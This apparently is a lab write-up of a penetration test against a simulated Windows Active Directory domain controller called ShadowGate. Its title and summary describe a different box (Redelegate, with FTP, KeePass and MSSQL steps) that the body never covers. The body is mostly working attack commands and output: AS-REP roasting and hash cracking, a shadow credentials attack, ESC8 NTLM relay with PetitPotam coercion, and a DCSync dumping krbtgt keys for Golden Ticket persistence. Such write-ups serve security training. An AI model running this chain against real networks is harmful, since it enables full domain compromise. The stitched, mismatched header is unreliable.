HTB: Redelegate Writeup
Hard Windows Active Directory box involving FTP enumeration, KeePass cracking, MSSQL credential abuse, ForceChangePassword ACL exploitation, and constrained delegation abuse to achieve DCSync.

ShadowGate is a black-box Windows Active Directory engagement set against a single domain controller. The environment simulates a post-acquisition corporate network where a rushed consolidation left security gaps behind. Starting with no credentials, we enumerate the domain through null sessions, recover valid credentials via AS-REP roasting, and abuse WriteOwner-equivalent permissions on the msDS-KeyCredentialLink attribute to obtain a second domain user’s NT hash through a shadow credentials attack. With that user we discover an unprotected ADCS web enrollment endpoint (ESC8) and exploit it by coercing the DC to authenticate to us and relaying that authentication to the CA - ultimately performing a DCSync to retrieve the krbtgt hash.
ShadowGate recently completed a corporate acquisition that significantly expanded its internal network, user base, and application footprint. Several business-critical systems were migrated and consolidated under tight operational deadlines to minimize downtime and maintain service continuity.
While functional validation was completed, the organization deferred a comprehensive security assessment due to delivery pressure and staffing constraints. Leadership has since requested an independent penetration test to validate the security posture of the newly created environment and identify any material risk before the next audit cycle.
The assessment will evaluate whether a motivated attacker with standard network access could compromise sensitive systems, escalate privileges, or move laterally within the enterprise environment.
The Hack Smarter team has been authorized to perform a black box internal penetration test against the ShadowGate environment.
Initial Access: The client has provided you with VPN access to their internal network, but no credentials.
The initial scan against the target IP starts with RustScan to identify open ports quickly, then feeds those results into nmap for service and version detection.
rustscan 10.0.16.102 -- -Pn -A -oA fulltcp
Open 10.0.16.102:53
Open 10.0.16.102:80
Open 10.0.16.102:88
Open 10.0.16.102:135
Open 10.0.16.102:139
Open 10.0.16.102:389
Open 10.0.16.102:445
Open 10.0.16.102:464
Open 10.0.16.102:593
Open 10.0.16.102:636
Open 10.0.16.102:3268
Open 10.0.16.102:3269
Open 10.0.16.102:3389
Open 10.0.16.102:5985
Open 10.0.16.102:9389
<SNIP>
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: SHADOW
| NetBIOS_Domain_Name: SHADOW
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: shadow.gate
| DNS_Computer_Name: DC01.shadow.gate
|_ Product_Version: 10.0.20348
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
<SNIP>
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
The port profile is a classic domain controller - DNS, Kerberos, LDAP, SMB, RDP, WinRM, and ADCS-related ports all present on a single host. The LDAP banner confirms the domain is shadow.gate and the RDP NTLM banner pins the machine name as DC01. The smb2-security-mode output is worth noting: signing is available but not required, which opens the door to NTLM relay attacks later.
Before going any further, we use nxc to auto-generate a valid /etc/hosts entry and a Kerberos config file, then wire both up so that name resolution and Kerberos work cleanly throughout the engagement.
nxc smb 10.0.16.102 --generate-hosts-file hosts
nxc smb 10.0.16.102 --generate-krb5-file krb5
cat hosts | sudo tee -a /etc/hosts
sudo mv krb5 /etc/krb5.conf
10.0.16.102 DC01.shadow.gate shadow.gate DC01
With the infrastructure set up, the first thing to check is whether anonymous SMB access is available. A null session means we can query user and group information without any credentials at all.
nxc smb 10.0.16.102 -u '' -p ''
SMB 10.0.16.102 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:None)
SMB 10.0.16.102 445 DC01 [+] shadow.gate\:
Anonymous access is permitted. The guest account is disabled, but the null session alone is enough to pull the user list.
nxc smb 10.0.16.102 -u '' -p '' --users-export users
SMB 10.0.16.102 445 DC01 [+] shadow.gate\:
SMB 10.0.16.102 445 DC01 Administrator 2026-01-11 11:33:05 0 Built-in account for administering the computer/domain
SMB 10.0.16.102 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.0.16.102 445 DC01 krbtgt 2026-01-12 02:45:27 0 Key Distribution Center Service Account
SMB 10.0.16.102 445 DC01 ATHENA 2026-03-04 15:23:19 0
SMB 10.0.16.102 445 DC01 mbrownlee 2026-03-04 15:24:05 0
SMB 10.0.16.102 445 DC01 bbrown 2026-01-15 14:24:07 0
SMB 10.0.16.102 445 DC01 jtrueblood 2026-04-28 18:14:47 0
SMB 10.0.16.102 445 DC01 jsmith 2026-03-04 15:26:29 0
SMB 10.0.16.102 445 DC01 clocke 2026-03-04 15:24:32 0
SMB 10.0.16.102 445 DC01 tclarke 2026-03-04 15:25:33 0
SMB 10.0.16.102 445 DC01 jbradford 2026-03-04 15:24:59 0
SMB 10.0.16.102 445 DC01 amoss 2026-03-04 15:25:52 0
SMB 10.0.16.102 445 DC01 [*] Writing 12 local users to users
Twelve users, including the standard built-ins. We also run enum4linux-ng to pull group memberships and password policy information, which confirms a lockout threshold of 10 and a 3-minute observation window - enough room to try a few passwords without triggering lockout.
With a user list in hand, the next logical step is AS-REP roasting. If any account has pre-authentication disabled (UF_DONT_REQUIRE_PREAUTH), we can request an AS-REP from the KDC without supplying a valid password, and the KDC will hand back a ticket encrypted with that user’s password hash. We can then crack that offline.
GetNPUsers.py from Impacket walks the user list and requests a ticket for each:
GetNPUsers.py shadow.gate/ -dc-ip 10.0.16.102 -no-pass -usersfile users
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User ATHENA doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mbrownlee doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bbrown doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$jtrueblood@SHADOW.GATE:70ffc192315661ef350e30dcdd7f9a27$dc9e05cbc4650e5d36d9e8e9a6bdec60caecb6351e2bee4934746d87bf496383a40d674e5c2f6df84a0c617b42f2838ff79fddd4dd93d08097c91736e20b04f6f58539717cbb9a63a83f40285f9ef61bf7b603cde01fafa3994d044774a58d3f77609457750177a0dae10a2e93613e1fcc20054f002f1846ae9c50ef7adca19f81d7099dfabc3d09b1da04e8d89ec97d36a5e48d3b85c7ddf2708e125cd1da1453b881319c32bb9a650d7d758ea389cfff3d4ba468a81fa11700d2f26f1e1c3f62746bc956ffcde15a3aa2f707aedbe9cfbfede7863bb61d29a7def19b87833c285da00b23ff1aedb2fb
[-] User jsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
<SNIP>
jtrueblood is the only account with pre-auth disabled. We feed the hash straight to hashcat with rockyou.txt:
hashcat hash /usr/share/wordlists/rockyou.txt
$krb5asrep$23$jtrueblood@SHADOW.GATE:<SNIP>:[REDACTED]
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Time.Started.....: Thu May 7 23:10:51 2026 (13 secs)
We now have valid domain credentials: jtrueblood / [REDACTED].
We confirm the credentials against LDAP and immediately try Kerberoasting - requesting service tickets for any SPNs assigned to domain accounts, which could give us additional hashes to crack.
nxc ldap 10.0.16.102 -u 'jtrueblood' -p '[REDACTED]'
LDAP 10.0.16.102 389 DC01 [+] shadow.gate\jtrueblood:[REDACTED]
nxc ldap 10.0.16.102 -u 'jtrueblood' -p '[REDACTED]' --kerberoast kerbroast
LDAP 10.0.16.102 389 DC01 [*] Skipping disabled account: krbtgt
LDAP 10.0.16.102 389 DC01 [*] Total of records returned 0
Nothing - no SPN accounts other than krbtgt. Rather than spending time collecting BloodHound data, we use bloodyAD to enumerate which AD objects jtrueblood has write permissions on. This is a faster way to spot misconfigured ACLs when you already have credentials.
bloodyAD --host 10.0.16.102 -d shadow.gate -u 'jtrueblood' -p '[REDACTED]' get writable --detail
The output is long, but the part that matters is this:
distinguishedName: CN=Bob Brown,OU=Technology,OU=Departments,DC=shadow,DC=gate
<SNIP>
msDS-KeyCredentialLink: WRITE
<SNIP>
jtrueblood can write the msDS-KeyCredentialLink attribute on bbrown’s account. That’s a shadow credentials attack - we can inject a key credential into bbrown’s account and then use that credential to authenticate as bbrown and recover their NT hash, all without knowing their password.
The certipy-ad shadow auto command handles the whole flow end-to-end: it generates a certificate, writes the corresponding key credential to bbrown’s msDS-KeyCredentialLink, authenticates with the certificate via PKINIT to obtain a TGT, uses that TGT to perform a U2U exchange to recover the NT hash, and then cleans up after itself by restoring the original key credentials.
certipy-ad shadow auto \
-u 'jtrueblood@shadow.gate' \
-p '[REDACTED]' \
-account 'bbrown' \
-dc-ip 10.0.16.102
[*] Targeting user 'bbrown'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '55a9adf3973b4d15913b0164501f87d7'
[*] Adding Key Credential with device ID '55a9adf3973b4d15913b0164501f87d7' to the Key Credentials for 'bbrown'
[*] Successfully added Key Credential with device ID '55a9adf3973b4d15913b0164501f87d7' to the Key Credentials for 'bbrown'
[*] Authenticating as 'bbrown' with the certificate
[*] Got TGT
[*] Trying to retrieve NT hash for 'bbrown'
[*] Restoring the old Key Credentials for 'bbrown'
[*] Successfully restored the old Key Credentials for 'bbrown'
[*] NT hash for 'bbrown': [REDACTED]
We have bbrown’s hash. Verifying it and listing shares:
nxc smb 10.0.16.102 -u 'bbrown' -H [REDACTED]
SMB 10.0.16.102 445 DC01 [+] shadow.gate\bbrown:[REDACTED]
nxc smb 10.0.16.102 -u 'bbrown' -H [REDACTED] --shares
SMB 10.0.16.102 445 DC01 Share Permissions Remark
SMB 10.0.16.102 445 DC01 ----- ----------- ------
SMB 10.0.16.102 445 DC01 ADMIN$ Remote Admin
SMB 10.0.16.102 445 DC01 C$ Default share
SMB 10.0.16.102 445 DC01 CertEnroll READ Active Directory Certificate Services share
SMB 10.0.16.102 445 DC01 IPC$ READ Remote IPC
SMB 10.0.16.102 445 DC01 NETLOGON READ Logon server share
SMB 10.0.16.102 445 DC01 SYSVOL READ Logon server share
The CertEnroll share is readable, which confirms an Active Directory Certificate Services deployment. That warrants a closer look with certipy.
We run certipy-ad find to enumerate the CA configuration and check for vulnerable certificate templates. The -vulnerable flag filters the output to anything that looks exploitable.
certipy-ad find -u bbrown@shadow.gate -hashes :[REDACTED] -dc-ip 10.0.16.102 -target 10.0.16.102 -vulnerable -enable -stdout
Certificate Authorities
0
CA Name : shadow-DC01-CA
DNS Name : DC01.shadow.gate
Web Enrollment
HTTP
Enabled : True
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Access Rights
Enroll : SHADOW.GATE\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled over HTTP.
Certificate Templates : [!] Could not find any certificate templates
ESC8 - the CA is running web enrollment over plain HTTP with no HTTPS enforcement. When combined with SMB signing not being required on the DC, this is a straightforward NTLM relay opportunity: coerce the DC to authenticate to us over SMB, relay that authentication to the CA’s HTTP enrollment endpoint, and obtain a certificate issued to the DC machine account. From there we can use that certificate to authenticate as the DC and perform a DCSync.
The certipy-ad relay command is designed to handle this attack natively:
certipy-ad relay -target http://DC01.shadow.gate -template DomainController
[*] Targeting http://DC01.shadow.gate/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
[*] (SMB): Received connection from 10.0.16.102, attacking target http://DC01.shadow.gate
[*] (SMB): Authenticating connection from /@10.0.16.102 against http://DC01.shadow.gate SUCCEED [1]
[-] Failed to run attack: Attribute's length must be >= 1 and <= 64, but it was 0
[-] Use -debug to print a stacktrace
The relay authentication succeeds, but Certipy fails to complete the certificate request - the error about attribute length appears to be a bug in Certipy v5.0.4 when the incoming SMB connection carries an empty username field, as happens when a machine account coerces over certain protocols. Falling back to Impacket’s ntlmrelayx sidesteps this entirely.
We start ntlmrelayx configured to relay incoming SMB connections to the CA’s web enrollment interface and request a certificate using the DomainController template:
ntlmrelayx.py -t http://10.0.16.102/certsrv/certfnsh.asp \
--adcs --template DomainController -smb2support
With the relay listener running, we need to trigger an outbound SMB authentication from the DC to our machine. PetitPotam is a reliable coercion method that abuses the Windows EFS RPC interface to force a machine to authenticate to an arbitrary host. The nxc coerce_plus module wraps this cleanly, letting us specify the target, listener, and coercion method in one command:
nxc smb 10.0.16.102 -u 'bbrown' -H [REDACTED] -M coerce_plus -o LISTENER=10.200.54.68 METHOD=PetitPotam
COERCE_PLUS 10.0.16.102 445 DC01 VULNERABLE, PetitPotam
COERCE_PLUS 10.0.16.102 445 DC01 Exploit Success, efsrpc\EfsRpcAddUsersToFile
Back in the ntlmrelayx window:
[*] (SMB): Received connection from 10.0.16.102, attacking target http://10.0.16.102
[*] (SMB): Authenticating connection from /@10.0.16.102 against http://10.0.16.102 SUCCEED [1]
[*] http:///@10.0.16.102 [1] -> Using template name: DomainController
[*] http:///@10.0.16.102 [1] -> Generating CSR...
[*] http:///@10.0.16.102 [1] -> CSR generated!
[*] http:///@10.0.16.102 [1] -> Getting certificate...
[*] http:///@10.0.16.102 [1] -> GOT CERTIFICATE! ID 3
[*] http:///@10.0.16.102 [1] -> Writing PKCS#12 certificate to ./DC01.shadow.gate.pfx
[*] http:///@10.0.16.102 [1] -> Certificate successfully written to file
We have a certificate issued to DC01.shadow.gate. We use certipy-ad auth to authenticate with it and recover the machine account’s NT hash:
certipy-ad auth -pfx 'DC01.shadow.gate.pfx' -dc-ip '10.0.16.102'
[*] Certificate identities:
[*] SAN DNS Host Name: 'DC01.shadow.gate'
[*] Security Extension SID: 'S-1-5-21-243493930-1113464705-3012771586-1000'
[*] Using principal: 'dc01$@shadow.gate'
[*] Got TGT
[*] Saving credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@shadow.gate': aad3b435b51404eeaad3b435b51404ee:[REDACTED]
With the dc01$ machine account hash in hand, we have everything we need for a DCSync. Domain controllers can request replication data from other DCs via DRSUAPI - and since the dc01$ machine account is the DC itself, it has the necessary rights. secretsdump.py from Impacket performs the DCSync remotely:
secretsdump.py 'dc01$'@10.0.16.102 -hashes :[REDACTED] -no-pass -just-dc-user krbtgt
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:[REDACTED]
krbtgt:aes128-cts-hmac-sha1-96:[REDACTED]
krbtgt:des-cbc-md5:[REDACTED]
[*] Cleaning up...
Full domain compromise. With the krbtgt hash recovered, a Golden Ticket can be forged at any point, giving persistent, unkickable access to the domain regardless of future password resets on any user account.